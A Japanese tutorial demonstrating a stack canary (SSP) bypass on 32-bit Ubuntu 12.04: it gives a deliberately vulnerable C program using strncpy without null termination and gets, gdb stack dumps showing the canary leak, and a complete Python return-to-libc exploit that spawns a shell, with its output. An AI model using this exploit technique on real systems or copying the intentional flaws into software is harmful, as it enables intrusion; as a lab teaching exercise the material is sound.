Improper Null Terminationを利用したSSP回避

スタックバッファオーバーフローを防ぐセキュリティ機構の一つに、SSPがある。 SSPを有効にすると、関数の呼び出し時にスタックにcanaryと呼ばれる値が置かれ、これが書き換えられたとき強制終了するようになる。 しかし、何らかの方法でcanaryの値が知ることができれば、SSPは無効化することができる。 ここでは一例としてstrncpy関数の仕様を利用することにより、SSPが有効な条件下でシェルを起動してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

スタックバッファオーバーフローが起こせる、次のようなコードを書いてみる。

/* int.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    int size;
    char buf[100];
    char line[10];

    setlinebuf(stdout);

    fgets(buf, sizeof(buf), stdin);
    size = atoi(buf);
    fgets(buf, sizeof(buf), stdin);
    strncpy(line, buf, size);
    puts(line);

    gets(line);
    puts(line);

    return 0;
}

ASLR無効、DEPSSP有効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc int.c

$ ./a.out
10
AAAAAAAAAA
AAAAAAAAAA
AAAAAAAAAAAAAA
AAAAAAAAAAAAAA
*** stack smashing detected ***: ./a.out terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f2feb5]
/lib/i386-linux-gnu/libc.so.6(+0x104e6a)[0xb7f2fe6a]
./a.out[0x804864c]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb7e444d3]
./a.out[0x80484e1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 1966158    /home/user/tmp/a.out
08049000-0804a000 r--p 00000000 08:01 1966158    /home/user/tmp/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966158    /home/user/tmp/a.out
0804b000-0806c000 rw-p 00000000 00:00 0          [heap]
b7e05000-b7e21000 r-xp 00000000 08:01 786476     /lib/i386-linux-gnu/libgcc_s.so.1
b7e21000-b7e22000 r--p 0001b000 08:01 786476     /lib/i386-linux-gnu/libgcc_s.so.1
b7e22000-b7e23000 rw-p 0001c000 08:01 786476     /lib/i386-linux-gnu/libgcc_s.so.1
b7e2a000-b7e2b000 rw-p 00000000 00:00 0
b7e2b000-b7fcf000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fcf000-b7fd1000 r--p 001a4000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd1000-b7fd2000 rw-p 001a6000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd2000-b7fd5000 rw-p 00000000 00:00 0
b7fd9000-b7fde000 rw-p 00000000 00:00 0
b7fde000-b7ffe000 r-xp 00000000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
Aborted (core dumped)

SSPによりスタックバッファオーバーフローが検知され、強制終了されることがわかる。

スタックの中身を確認してみる

gdbを使い、実行時にスタックの中身がどのようになっているかを確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080485e6 <+114>:   mov    edx,DWORD PTR [esp+0x18]
   0x080485ea <+118>:   lea    eax,[esp+0x1e]
   0x080485ee <+122>:   mov    DWORD PTR [esp+0x8],edx
   0x080485f2 <+126>:   mov    DWORD PTR [esp+0x4],eax
   0x080485f6 <+130>:   lea    eax,[esp+0x82]
   0x080485fd <+137>:   mov    DWORD PTR [esp],eax
   0x08048600 <+140>:   call   0x80484a0 <strncpy@plt>
   0x08048605 <+145>:   lea    eax,[esp+0x82]
   0x0804860c <+152>:   mov    DWORD PTR [esp],eax
   0x0804860f <+155>:   call   0x8048460 <puts@plt>
   0x08048614 <+160>:   lea    eax,[esp+0x82]
   0x0804861b <+167>:   mov    DWORD PTR [esp],eax
   0x0804861e <+170>:   call   0x8048430 <gets@plt>
   0x08048623 <+175>:   lea    eax,[esp+0x82]
   0x0804862a <+182>:   mov    DWORD PTR [esp],eax
   0x0804862d <+185>:   call   0x8048460 <puts@plt>
   0x08048632 <+190>:   mov    eax,0x0
   0x08048637 <+195>:   mov    edx,DWORD PTR [esp+0x8c]
   0x0804863e <+202>:   xor    edx,DWORD PTR gs:0x14
   0x08048645 <+209>:   je     0x804864c <main+216>
   0x08048647 <+211>:   call   0x8048450 <__stack_chk_fail@plt>
   0x0804864c <+216>:   leave
   0x0804864d <+217>:   ret
End of assembler dump.
(gdb) b *main+160
Breakpoint 1 at 0x8048614
(gdb) r
Starting program: /home/user/tmp/a.out
10
AAAAAAAAAA
AAAAAAAAAA

Breakpoint 1, 0x08048614 in main ()
(gdb) x/100wx $esp
0xbffff6d0:     0xbffff752      0xbffff6ee      0x0000000a      0xb7ec3b19
0xbffff6e0:     0xbffff71f      0xbffff71e      0x0000000a      0x41413fec
0xbffff6f0:     0x41414141      0x41414141      0x0000000a      0xb7e5e043
0xbffff700:     0x08048312      0x00000000      0x00c10000      0x00000001
0xbffff710:     0xbffff915      0x0000002f      0xbffff76c      0xb7fd0ff4
0xbffff720:     0x08048650      0x08049ff4      0x00000001      0x0804840d
0xbffff730:     0xb7fd13e4      0x00000005      0x08049ff4      0x08048671
0xbffff740:     0xffffffff      0xb7e5e196      0xb7fd0ff4      0xb7e5e225
0xbffff750:     0x4141d280      0x41414141      0x41414141      0xeffff100
0xbffff760:     0x08048650      0x00000000      0x00000000      0xb7e444d3
...
(gdb) x/wx $esp+0x8c
0xbffff75c:     0xeffff100

ディスアセンブル結果から、$esp+0x1eにbuf変数、$esp+0x82にline変数、$esp+0x8cにcanaryが置かれていることがわかる。 また、繰り返し実行することでcanaryの値が実行するたびに変わることもわかる。

ところで、strncpy関数はコピー元の文字列が指定した最大長を越えたとき、コピー先の文字列がNULL文字(\x00)で終端されない仕様になっている。 したがって、コード中で明示的にコピー先文字列の末尾にNULL文字をセットしないと、その先にあるデータまで文字列の一部として扱われてしまう。 今回のコードにはこの明示的なNULL文字セットが行われていないという問題(Improper Null Termination)がある。

上の場合、line変数がNULL終端されずに書き込まれてしまっているが、canaryの下位1バイトが\x00であるため、それ以上文字列としては出力されずに終わっている。 実際、canaryはstrcpy関数などによる読み書きを防ぐために、下位1バイトが必ず\x00となるようになっている。

ここで、sizeを1増やしてもう一度実行してみる。

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/tmp/a.out
11
AAAAAAAAAAA
AAAAAAAAAAA��EP�

Breakpoint 1, 0x08048614 in main ()
(gdb) x/100wx $esp
0xbffff6d0:     0xbffff752      0xbffff6ee      0x0000000b      0xb7ec3b19
0xbffff6e0:     0xbffff71f      0xbffff71e      0x0000000b      0x41413fec
0xbffff6f0:     0x41414141      0x41414141      0x00000a41      0xb7e5e043
0xbffff700:     0x08048312      0x00000000      0x00c10000      0x00000001
0xbffff710:     0xbffff915      0x0000002f      0xbffff76c      0xb7fd0ff4
0xbffff720:     0x08048650      0x08049ff4      0x00000001      0x0804840d
0xbffff730:     0xb7fd13e4      0x00000005      0x08049ff4      0x08048671
0xbffff740:     0xffffffff      0xb7e5e196      0xb7fd0ff4      0xb7e5e225
0xbffff750:     0x4141d280      0x41414141      0x41414141      0x45c49941
0xbffff760:     0x08048650      0x00000000      0x00000000      0xb7e444d3
...
(gdb) x/wx $esp+0x8c
0xbffff75c:     0x45c49941
(gdb) q
A debugging session is active.

        Inferior 1 [process 1918] will be killed.

Quit anyway? (y or n) y

このとき、line変数の先にあるcanaryの下位1バイトが書き換えられることにより、puts関数でcanaryの値が出力されている。 このまま関数が終了するとSSPによりcanaryの書き換えが検知され強制終了が起こるが、それまでの間にスタックバッファオーバーフローを起こせる状況があればSSPを回避することができる。 ここでは話を単純にするため直後のgets関数でスタックバッファオーバーフローを起こすことにするが、実際は途中で呼び出される別の関数の中でもよい。

エクスプロイトコードを書いてみる

上で説明した方法でcanaryの値を読み出し、SSPを回避するエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

base_libc = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

addr_libc_system = base_libc + 0x0003f430  # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
addr_libc_exit = base_libc + 0x00032fb0    # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit"
addr_libc_binsh = base_libc + 0x161d98     # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * (bufsize+1)
p.stdin.write("%d\n" % len(buf))
p.stdin.write("%s\n" % buf)
line = p.stdout.readline()
canary = '\x00' + line[bufsize+1:bufsize+4]
print "[+] canary = %r" % canary

buf = 'A' * bufsize
buf += canary
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)
p.stdin.write("%s\n" % buf)
line = p.stdout.readline()
print repr(line)

p.stdin.write('exec <&2 >&2\n')
p.wait()

このコードは、libcのベースアドレス、canary読み出しおよびスタックバッファオーバーフローに使われるバッファ(line変数)のサイズを順に引数に取る。 DEP回避のためreturn-to-libcでsystem関数を呼び出し、起動させたシェルに対しexec組み込みコマンドを使い標準入出力を端末に差し替える。

SSPで強制終了した際のエラー出力などからlibcのベースアドレスを調べ、エクスプロイトコードを実行してみる。

$ python exploit.py 0xb7e2b000 10
[+] canary = '\x00\xc5\x80\xdc'
'AAAAAAAAAA\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

SSPが有効な条件下で、Improper Null Terminationを利用したcanary読み出しによりSSPが回避できていることが確認できた。

関連リンク